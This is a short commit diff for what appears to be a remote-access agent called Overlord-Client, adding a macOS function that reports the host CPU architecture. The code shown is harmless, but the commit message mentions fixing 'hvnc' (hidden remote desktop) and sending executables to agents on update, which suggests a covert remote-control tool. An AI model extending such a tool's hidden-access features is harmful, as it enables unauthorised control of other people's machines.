fix hvnc issue, fix build watcher issue, fix wrong type of exe being sent on updates.

Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go

@@ -4,6 +4,7 @@ package sysinfo
 
 import (
 	"fmt"
+	"runtime"
 	"strings"
 	"unsafe"
 
@@ -43,3 +44,15 @@ func totalRAM() string {
 	mb := float64(total) / (1024 * 1024)
 	return fmt.Sprintf("%.0f MB", mb)
 }
+
+func HostArch() string {
+	if machine, err := unix.Sysctl("hw.machine"); err == nil {
+		switch machine {
+		case "x86_64":
+			return "amd64"
+		case "arm64":
+			return "arm64"
+		}
+	}
+	return runtime.GOARCH
+}